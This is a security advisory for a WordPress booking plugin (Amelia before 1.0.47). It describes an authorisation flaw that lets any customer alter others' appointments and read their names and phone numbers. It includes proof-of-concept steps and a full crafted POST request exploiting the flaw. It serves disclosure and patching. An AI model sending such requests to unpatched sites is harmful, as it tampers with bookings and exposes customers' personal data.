WordPress Plugin Vulnerabilities

Amelia < 1.0.47 - Customer+ Arbitrary Appointments Update and Sensitive Data Disclosure

Description

The plugin does not have proper authorisation when managing appointments, allowing any customer to update other's booking, as well as retrieve sensitive information about the bookings, such as the full name and phone number of the person who booked it.

Proof of Concept

1. Create a booking with user01
2. Create another booking with user02 and login to wordpress using the account created by the plugin (pwd sent by email when booking)
3. Update booking via call=/appointments/{any_number}, fill in other's booking id in the request body, for example, 7:
4. Check the response, you can see other's name and phone number. Also, the booking is updated.

POST /wp-admin/admin-ajax.php?action=wpamelia_api&call=/appointments/99 HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=utf-8
Content-Length: 711
Connection: close
Cookie: [customer+ cookies]

{"id":2,"bookings":[{"id":2,"customerId":1,"customer":null,"status":"approved","extras":[],"couponId":null,"price":0,"coupon":null,"customFields":null,"appointmentId":99,"persons":1,"token":null,"utcOffset":null,"aggregatedPrice":true,"isChangedStatus":null,"packageCustomerService":null,"ticketsData":[]}],"notifyParticipants":1,"internalNotes":"","status":"approved","serviceId":1,"parentId":null,"providerId":2,"locationId":null,"provider":null,"service":null,"location":null,"googleCalendarEventId":null,"googleMeetUrl":null,"outlookCalendarEventId":null,"zoomMeeting":null,"lessonSpace":null,"bookingStart":"2022-02-24 10:00:00","bookingEnd":"2022-02-24 11:00:00","type":"appointment","isRescheduled":null}

Affects Plugins

Fixed in 1.0.47

References

Classification

Type
INCORRECT AUTHORISATION
CWE
CVSS

Miscellaneous

Original Researcher
huli of Cymetrics
Submitter
huli of Cymetrics
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-03-01 (about 2 years ago)
Added
2022-03-01 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other